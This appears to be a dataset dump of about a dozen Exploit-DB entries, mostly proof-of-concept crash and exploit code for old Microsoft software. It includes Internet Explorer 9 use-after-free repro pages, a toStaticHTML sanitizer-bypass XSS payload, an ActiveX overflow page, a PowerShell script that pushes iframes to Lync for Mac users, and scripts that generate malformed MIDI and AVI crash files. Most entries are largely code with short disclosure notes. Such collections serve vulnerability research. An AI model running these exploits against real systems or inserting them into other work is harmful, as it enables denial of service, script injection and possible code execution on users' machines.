deardaniel/secdata-raw huggingface dataset:
Exploit-DB #40935
Description: Microsoft Internet Explorer 9 - IEFRAME CView::Ensure­Size Use-After-Free (MS13-021)
Type: dos
Platform: windows
Date: 2016-12-16
Author: Skylined

Exploit:
<!--
Source: http://blog.skylined.nl/[PII_REDACTED]1.html

Synopsis

A specially crafted web-page can trigger a use-after-free vulnerability in Microsoft Internet Explorer 9. I did not investigate this vulnerability thoroughly, so I cannot speculate on the potential impact or exploitability.

Known affected software and attack vectors

Microsoft Internet Explorer 9

An attacker would need to get a target user to open a specially crafted web-page. Disabling Java­Script should prevent an attacker from triggering the vulnerable code path.

Details

This bug was found back when I had very little knowledge and tools to do analysis on use-after-free bugs, so I have no details to share. ZDI revealed that this was a use-after-free vulnerability in their advisory. I have included a number of reports created using a predecessor of Bug­Id below.

Repro.html:
-->

<!DOCTYPE html>
<html>
  <head>
    <script defer>
      var o­Element = document.get­Element­By­Id("ruby");
      var o­Element = o­Element.parent­Node.remove­Child(o­Element);
      document.write("<abbr></abbr>");
      document.document­Element.offset­Top;
      set­Timeout("location.reload()", 100);
    </script>
  </head>
  <body>
    <abbr dir="ltr">
      <ruby id="ruby" dir="rtl">
      </ruby>
    </abbr>
  </body>
</html>

<!--
Time-line

Sometime in October 2012: This vulnerability was found through fuzzing.
29 October 2012: This vulnerability was submitted to EIP.
27 November 2013: This vulnerability was rejected by EIP.
14 January 2013: This vulnerability was submitted to ZDI.
6 February 2013: This vulnerability was acquired by ZDI.
13 February 2013: This vulnerability was disclosed to Microsoft by ZDI.
29 May 2013: This vulnerability was address by Microsoft in MS13-021.
16 December 2016: Details of this vulnerability are released.
-->
Exploit-DB #22401
Description: Microsoft Internet Explorer 9 - Memory Corruption Crash (PoC)
Type: dos
Platform: windows
Date: 2012-11-01
Author: Jean Pascal Pereira

Exploit:
<?php

/**********************************************************
 *   Internet Explorer 9 Memory Corruption PoC Exploit    *
 **********************************************************
 *                                                        *
 * Successfully executed with IE9 version 9.0.8112.16421  *
 *                                                        *
 * Discovered by Jean Pascal Pereira <pereira@secbiz.de>  *
 *                                                        *
 **********************************************************/

set_time_limit(0);

ini_set('memory_limit', '300M'); 

if(!file_exists("junk.htm"))
{
  $string = "<span id='";
  
  for($i = 0; $i < 24117256; $i++)
  {
    $string .= "\x90";
  }
  $string .= "'></span>";
  
  file_put_contents("junk.htm", $string);
}

print "View the sourcecode of the iframe below (right click -> view source): <br />\n";
print "<iframe style='width: 800px; height: 500px;' src='junk.htm'>\n";

for($i = 0; $i < 60; $i++)
{
  print "<iframe style='display:none' src='junk.htm'>\n";
} 

/* http://0xffe4.org */

?>
Exploit-DB #40685
Description: Microsoft Internet Explorer 9 - MSHTML CAttrArray Use-After-Free (MS14-056)
Type: dos
Platform: windows
Date: 2016-11-02
Author: Skylined

Exploit:
<!--
Source: http://blog.skylined.nl/[PII_REDACTED]1.html

Synopsis

A specially crafted webpage can cause Microsoft Internet Explorer 9 to reallocate a memory buffer in order to grow it in size. The original buffer will be copied to newly allocated memory and then freed. The code continues to use the freed copy of the buffer.

Known affected versions, attack vectors and mitigations

Microsoft Internet Explorer 9
An attacker would need to get a target user to open a specially crafted webpage. Disabling JavaScript should prevent an attacker from triggering the vulnerable code path.
-->

<!doctype html>
<script>
  oTextArea = document.createElement('textarea');
  oTextArea.dataSrc = 1;
  oTextArea.id = 1;
  oTextArea.innerHTML = 1;
  oTextArea.onvolumechange = 1;
  oTextArea.style.setProperty('list-style', "url()");
</script>


<!--
Analysis

The CAttrArray object initially allocates a CImplAry buffer of 0x40 bytes, which can store 4 attributes. When the buffer is full, it is grown to 0x60 bytes. A new buffer is allocated at a different location in memory and the contents of the original buffer is copied there. The repro causes the code to do this, but the code continues to access the original buffer after it has been freed.

Exploit

If an attacker was able to cause MSIE to allocate 0x40 bytes of memory and have some control over the contents of this memory before MSIE reuses the freed memory, there is a chance that this issue could be used to execute arbitrary code. I did not attempt to write an exploit for this vulnerability myself.

Timeline

- April 2014: This vulnerability was found through fuzzing.
- July 2014: This vulnerability was submitted to ZDI.
- July 2014: ZDI reports a collision with a report by another researcher. (From the credits given by Microsoft and ZDI, I surmise that it was Peter 'corelanc0d3r' Van Eeckhoutte of Corelan who reported this issue.
- October 2014: Microsoft release MS14-056, which addresses this issue.
- November 2016: Details of this issue are released.
-->
Exploit-DB #40893
Description: Microsoft Internet Explorer 9 - MSHTML CDisp­Node::Insert­Sibling­Node Use-After-Free (MS13-037) (1)
Type: dos
Platform: windows
Date: 2016-12-09
Author: Skylined

Exploit:
<!--
Source: http://blog.skylined.nl/[PII_REDACTED]1.html

Synopsis

A specially crafted web-page can trigger a memory corruption vulnerability in Microsoft Internet Explorer 9. I did not investigate this vulnerability thoroughly, so I cannot speculate on the potential impact or exploitability.

Known affected software and attack vectors

Microsoft Internet Explorer 9

An attacker would need to get a target user to open a specially crafted web-page. Java­Script does not appear to be required for an attacker to triggering the vulnerable code path.

Details

This bug was found back when I had very little knowledge and tools to do analysis on use-after-free bugs, so I have no details to share. The ZDI did do a more thorough analysis and provide some details in their advisory. I have included a number of reports created using a predecessor of Bug­Id below.

Repro.html:
-->

<!doctype html>
<html>
  <head>
    <script>
      window.onload=function(){location.reload();};
    </script>
  </head>
  <body>
    <var>
      <img class="float" ismap="ismap" usemap="map"/>
      <map id="map"><area/></map>
      <dfn class="float"></dfn>
      <a class="float"></a>
      <input class="zoom"/>
      text
    </var>
    <q class="border float zoom" xml:space="preserve">  </q>
  </body>
  <style type="text/css">
  .float {
    float:left;
  }
  .zoom {
    zoom:3000%;
  }
  .border::first-letter {
    border-top:1px;
  }
  </style>
</html>

<!--
Time-line

1 November 2012: This vulnerability was found through fuzzing.
2 November 2012: This vulnerability was submitted to ZDI.
19 November 2012: This vulnerability was acquired by ZDI.
4 February 2013: This vulnerability was disclosed to Microsoft by ZDI.
29 May 2013: Microsoft addresses this vulnerability in MS13-037.
7 December 2016: Details of this vulnerability are released.
-->
Exploit-DB #40894
Description: Microsoft Internet Explorer 9 - MSHTML CDisp­Node::Insert­Sibling­Node Use-After-Free (MS13-037) (2)
Type: dos
Platform: windows
Date: 2016-12-09
Author: Skylined

Exploit:
<!--
Source: http://blog.skylined.nl/[PII_REDACTED]1.html

Synopsis

A specially crafted web-page can trigger a memory corruption vulnerability in Microsoft Internet Explorer 9. I did not investigate this vulnerability thoroughly, so I cannot speculate on the potential impact or exploitability.

Known affected software and attack vectors

Microsoft Internet Explorer 9

An attacker would need to get a target user to open a specially crafted web-page. Java­Script does not appear to be required for an attacker to triggering the vulnerable code path.

Details

This bug was found back when I had very little knowledge and tools to do analysis on use-after-free bugs, so I have no details to share. The EIP provided me with some details of their analysis, which I'll paraphrase here: It is a use-after-free vulnerability where the span object in the frame.html file is reused after being freed. It appears to be impossible to reallocate the freed memory before it is reused. Part of the freed memory is overwritten when it is freed because a WORD Free­Entry­Offset value is stored at offset 0. This value is then used as part of a pointer to a vftable in order to call a method. This pointer now consist of the upper 16-bits of the old vftable and the lower 16-bits contain the Free­Entry­Offset value. Exploitation is near impossible without a way to have more control over this pointer in the freed memory block. ZDI also did a more thorough analysis and provide very similar details in their advisory. I have included a number of reports created using a predecessor of Bug­Id below.

Repro.html:
-->

<html>
  <body onload="location.reload();">
    <iframe src="Frame.html"></iframe>
  </body>
</html>

<!--
Frame.html:

<!doctype html>
<html>
  <head>
    <style type="text/css">
      .x{
        display:table-caption;
      }
      .x:first-line{
        text-transform:uppercase;
      }
    </style>
  </head>
  <body>
    <a>
      <span class="x">
        <a>
        </a>
      </span>
    </a>
  </body>
</html>


Time-line

27 September 2012: This vulnerability was found through fuzzing.
3 October 2012: This vulnerability was submitted to EIP.
11 October 2012: This vulnerability was rejected by EIP.
2 November 2012: This vulnerability was submitted to ZDI.
19 November 2012: This vulnerability was acquired by ZDI.
22 January 2013: This vulnerability was disclosed to Microsoft by ZDI.
29 May 2013: Microsoft addresses this vulnerability in MS13-037.
8 December 2016: Details of this vulnerability are released.
-->
Exploit-DB #19777
Description: Microsoft Internet Explorer 9 / SharePoint / Lync - toStaticHTML HTML Sanitizing Bypass (MS12-037/MS12-039/MS12-050)
Type: dos
Platform: windows
Date: 2012-07-12
Author: Adi Cohen

Exploit:
toStaticHTML: The Second Encounter (CVE-2012-1858)

*HTML Sanitizing Bypass -
*CVE-2012-1858<http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-1858>

Original advisory -
http://blog.watchfire.com/wfblog/2012/07/tostatichtml-the-second-encounter-cve-2012-1858-html-sanitizing-information-disclosure-introduction-t.html

Introduction

The *toStaticHTML* component, which is found in Internet Explorer > 8,
SharePoint and Lync is used to sanitize HTML fragments from dynamic and
potentially malicious content.

If an attacker is able to break the filtering mechanism and pass malicious
code through this function, he/she may be able to perform HTML injection
based attacks (i.e. XSS).

It has been a year since the first
encounter<http://blog.watchfire.com/wfblog/2011/07/tostatichtml-html-sanitizing-bypass.html>
was
published, we've now returned with a new bypass method.

Vulnerability

An attacker is able to create a specially formed CSS that will overcome *
toStaticHTML*'s security logic; therefore, after passing the specially
crafted CSS string through the *toStaticHTML* function, it will contain an
expression that triggers a JavaScript call.

The following JavaScript code demonstrates the vulnerability:

*<script>document.write(toStaticHTML("<style>
div{font-family:rgb('0,0,0)'''}foo');color=expression(alert(1));{}
</style><div>POC</div>"))</script>*

In this case the function's return value would be JavaScript executable:

*<style>
div{font-family:rgb('0,0,0)''';}foo');color=expression(alert(1));{;}</style>
<div>POC</div>*



The reason this code bypasses the filter engine is due to two reasons:

   1. The filtering engine allows the string "expression(" to exists in
   "non-dangerous" locations within the CSS.
   2. A bug in Internet Explorer's CSS parsing engine doesn't properly
   terminate strings that are opened inside brackets and closed outside of
   them.

When combining these two factors the attacker is able to "confuse" the
filtering mechanism into "thinking" that a string is open when in fact it
is terminated and vice versa. With this ability the attacker can trick the
filtering mechanism into entering a state of the selector context which is
considered safer where in fact the code is just a new declaration of the
same selector, thus breaking the state machine and bypassing the filter.



Impact

Every application that relies on the *toStaticHTML* component to sanitize
user supplied data had probably been vulnerable to XSS.



Remediation

Microsoft has issued several updates to address this vulnerability.

MS12-037 - http://technet.microsoft.com/en-us/security/bulletin/ms12-037

MS12-039 - http://technet.microsoft.com/en-us/security/bulletin/ms12-039

MS12-050 - http://technet.microsoft.com/en-us/security/bulletin/MS12-050
Exploit-DB #12032
Description: Microsoft Internet Explorer Tabular Data Control - ActiveX Remote Code Execution
Type: dos
Platform: windows
Date: 2010-04-03
Author: ZSploit.com

Exploit:
# CVE : CVE-2010-0805


<!--
.text:600058F7                 and     [ebp+pv], 0
.text:600058FE                 lea     eax, [ebp+pv]
.text:60005904                 push    eax             ; unsigned __int16 **
.text:60005905                 push    dword ptr [ebx+10h] ; struct IOleClientSite *
.text:60005908                 call    GetHostURL(IOleClientSite *,ushort * *)
.text:6000590D                 mov     eax, [ebp+var_218]
.text:60005913                 push    [ebp+pv]        ; pv
.text:60005919                 mov     [ebp+eax+var_204], 0
.text:60005921                 mov     eax, [ebp+var_21C]    ; length of the DataURL param
.text:60005927                 mov     [ebp+eax+var_104], 0        ; write one byte to arbitrary stack address
-->
<html>
<title>Trigger for ZDI-10-034 by ZSploit.com</title>
<head>
</head>
<body>
<object classid="clsid:333C7BC4-460F-11D0-BC04-0080C7055A83">
<param name="DataURL" value="http://zsploitzsploitzsploitzsploitzsploitzsploitzsploitzsploitzsploitzsploitzsploitzsploitzsploitzsploitzsploitzsploitzsploitzsploitzsploitzsploitzsploitzsploitzsploitzsploitzsploitzsploitzsploitzsploitzsploitzsploitzsploitzsploitzsploitzsploitzsploitzsploitzsploi"/>
</object>
</body>
</html>


The ZSploit Team
Exploit-DB #20763
Description: Microsoft ISA Server 2000 Web Proxy - Denial of Service
Type: dos
Platform: windows
Date: 2001-04-16
Author: SecureXpert Labs

Exploit:
// source: https://www.securityfocus.com/bid/2600/info

It is possible for a user to cause the Web Proxy service on a host running MS ISA Server to stop responding.

If a HTTP request with an unusually long path is submitted, the Web Proxy service could stop responding.

This vulnerability is only exploitable from the internal network unless the Web Publishing service has been enabled, in which case it can be exploited from either internal or external networks. It is disabled by default.

A HTML email containing the malicious URL in an image tag or a javascript URL, could invoke a user's browser. An attempt to fulfill this request by the Web Proxy service, could instigate the denial of service condition on an internal users system. This is a potential way a remote attacker could exploit this vulnerability even if Web Publishing is disabled.

* It has been reported that the execution of arbitrary commands is possible. If this is the case the complete remote compromise of the host may be achievable. The latest findings have not been confirmed by anyone other than the person who posted about it. 

/*
 * repeat.c -- quick-n-dirty hack to output argv[2] instances of the
 * character whose ASCII value is given as argv[1]
 *
 * WARNING - this has absolutely no error checking!
 */

#include <stdio.h>

main (int argc, char **argv) {
  int character;
  long repetitions, i;

  if ( argc != 3 ) {
    printf("usage: repeat char reps\n");
    exit(1);
  }
  character = atoi(argv[1]);
  repetitions = atol(argv[2]);

  for (i = 0L; i < repetitions; i++) {
    printf ("%c", character);
  }
}
Exploit-DB #45936
Description: Microsoft Lync for Mac 2011 - Injection Forced Browsing/Download
Type: dos
Platform: windows
Date: 2018-12-04
Author: nyxgeek

Exploit:
# Exploit Title: Microsoft Lync for Mac 2011 Injection Forced Browsing/Download
# Author: @nyxgeek - TrustedSec

# Date: 2018-03-20
# Vendor Homepage: microsoft.com
# Software Link: https://www.microsoft.com/en-us/download/details.aspx?id=36517
# CVE: CVE-2018-8474
# Version: Lync:Mac 2011 14.4.3, likely earlier versions
# Tested on: Lync:Mac 2011 14.4.3 (170308)

# Description:
# Force browsing or download via embedded iframe in a chat window. No user
# interaction required. When the iframe contains a web site URL, a new browser
# window of the default browser will open with the URL.
# If the URL is a file, it will download it automatically if it is a permitted
# file type (e.g., zip)

# A  write-up can be found at:
# https://www.trustedsec.com/2018/09/full-disclosure-microsoft-lync-for-mac-2011-susceptible-to-forced-browsing-download-attack/

# Requirements: Originating machine needs Lync 2013 SDK installed
# (https://www.microsoft.com/en-us/download/details.aspx?id=36824)

# Timeline of Disclosure:
#
# 07/18/2017 - Reported issue to Microsoft
# 11/22/2017 - Microsoft has reproduced problem
# 03/07/2018 - Microsoft replies that they have decided not to fix, but gave
#              their blessing for disclosure


#target user
$target = "user@domain"

$message = "<iframe src='https://www.youtube.com/watch?v=9Rnr70wCQSA'></iframe>"


if (-not (Get-Module -Name Microsoft.Lync.Model))
{
    try
        {
   # you may need to change the location of this DLL
            Import-Module "C:\Program Files\Microsoft Office\Office15\LyncSDK\Assemblies\Desktop\Microsoft.Lync.Model.dll" -ErrorAction Stop
        }
    catch
        {
            Write-Warning "Microsoft.Lync.Model not available, download and install the Lync 2013 SDK http://www.microsoft.com/en-us/download/details.aspx?id=36824"
        }
}

 # Connect to the local Skype process
    try
    {
        $client = [Microsoft.Lync.Model.LyncClient]::GetClient()
    }
    catch
    {
        Write-Host "`nYou need to have Skype open and signed in first"
        break
    }

     #Start Conversation
    $msg = New-Object "System.Collections.Generic.Dictionary[Microsoft.Lync.Model.Conversation.InstantMessageContentType, String]"

    #Add the Message
    $msg.Add(1,$message)

    # Add the contact URI
    try
    {
        $contact = $client.ContactManager.GetContactByUri($target)
    }
    catch
    {
        Write-Host "`nFailed to lookup Contact"$target
        break
    }


    # Create a conversation
    $convo = $client.ConversationManager.AddConversation()
    $convo.AddParticipant($contact) | Out-Null

    # Set the message mode as IM
    $imModality = $convo.Modalities[1]
    # Send the message
    $imModality.BeginSendMessage($msg, $null, $imModality) | Out-Null
    # End the Convo to suppress the UI
    $convo.End() | Out-Null

    Write-Host "Sent the following message to "$target":`n"$message
Exploit-DB #8465
Description: Microsoft Media Player - 'quartz.dll .mid' Denial of Service
Type: dos
Platform: windows
Date: 2009-04-17
Author: Code Audit Labs

Exploit:
#!/usr/bin/perl
# CAL_quartz_mid_poc.pl
#
# MircoSoft_Media_player_quartz.dll_mid_remote_Dos POC
# by Code Audit Labs public 2009-04-17
# http://www.vulnhunt.com/
#
#Affected
#========
#test on full updated winxp sp3
#windows media Player 10.00.00.3998 quartz.dll 6.5.3790.4283
#Windows Media Player 11.0.5721.5230 quartz.dll 6.5.2600.5596

#other version should be affected

# CVE: please assign to this a CVE id 
#
#ANALYSIS
#========
#  one vulnerability exists within the quartz.dll code processing RMID header
#the struct have following
#{
#  char riff_id[4]; //'RIFF'
#  DWORD rmid_size;
#  char rmid_id[4]; //'RMID'
#  char data_id[4]; //no eq data
#  DWORD midi_size; 
#}
#if  data_id is not 'data' , and midi_size is 0xfffffff8.
#the code would fall into infinity loop.

#

open(Fin, ">poc.mid") || die "can't create crash sample.$!";
binmode(Fin);
$data =  
"\x52\x49\x46\x46\xff\xff\x00\x00\x52\x4d\x49\x44\x64\x64\x64\x64" .
"\xf8\xff\xff\xff\x4d\x54\x68\x64\xff\xff\xff\xff\xf8\xff\xff\xf8" .
"\xf8\xff\xff\xff\xf7\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff" .
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff" .
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff";

print Fin $data;

close(Fin);

# milw0rm.com [2009-04-17]
Exploit-DB #30593
Description: Microsoft MFC Library - CFileFind::FindFile Buffer Overflow
Type: dos
Platform: windows
Date: 2007-09-14
Author: Jonathan Sarba

Exploit:
source: https://www.securityfocus.com/bid/25697/info

The CFileFind::FindFile method in the MFC library for Microsoft Windows is prone to a buffer-overflow vulnerability because the method fails to perform adequate boundary checks of user-supplied input.

Successfully exploiting this issue may allow attackers to execute arbitrary code in the context of applications that use the vulnerable method.

The MFC library included with Microsoft Windows XP SP2 is affected; other versions may also be affected.

This issue also occurs in the 'hpqutil.dll' ActiveX control identified by CLSID: F3F381A3-4795-41FF-8190-7AA2A8102F85. 

<object classid='clsid:F3F381A3-4795-41FF-8190-7AA2A8102F85' id='pAF'>
</object>
<input type="button" value="heap" language="VBScript" OnClick="OuCh()">
<script language="VBScript">
sub OuCh()
Var_0 = String(620, "A")
pAF.ListFiles Var_0
End Sub
</script>
Exploit-DB #15096
Description: Microsoft MPEG Layer-3 Audio Decoder - Division By Zero
Type: dos
Platform: windows
Date: 2010-09-24
Author: Abysssec

Exploit:
'''
  __  __  ____         _    _ ____  
 |  \/  |/ __ \   /\  | |  | |  _ \ 
 | \  / | |  | | /  \ | |  | | |_) |
 | |\/| | |  | |/ /\ \| |  | |  _ < 
 | |  | | |__| / ____ \ |__| | |_) |
 |_|  |_|\____/_/    \_\____/|____/ 

http://www.exploit-db.com/moaub-24-microsoft-mpeg-layer-3-audio-decoder-division-by-zero/
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/15096.zip (moaub-24-mp3-exploit.zip)
'''

'''
  Title            :  Microsoft MPEG Layer-3 Audio Decoder Division By Zero
  Version          :  l3codeca.acm 1-9-0-306 (XP SP2 ñ XP SP3)
  Analysis        :  http://www.abysssec.com
  Vendor           :  http://www.microsoft.com
  Impact           :  Med/High
  Contact          :  shahin [at] abysssec.com , info  [at] abysssec.com
  Twitter          :  @abysssec
  MOAUB Number     :  MOAUB-02
'''

import sys
import struct


def main():
   
    try:
		fdR = open('src.avi', 'rb+')
		strTotal = fdR.read()
		str1 = strTotal[:4428]
		nSamplesPerSecField = '\x00\xff\xff\xff'
		str2 = strTotal[4432:]
		
		fdW= open('poc.avi', 'wb+')
		fdW.write(str1)
		fdW.write(nSamplesPerSecField)
		fdW.write(str2)
		fdW.close()
		fdR.close()
		print '[-] AVI file generated'
    except IOError:
        print '[*] Error : An IO error has occurred'
        print '[-] Exiting ...'
        sys.exit(-1)
                
if __name__ == '__main__':
    main()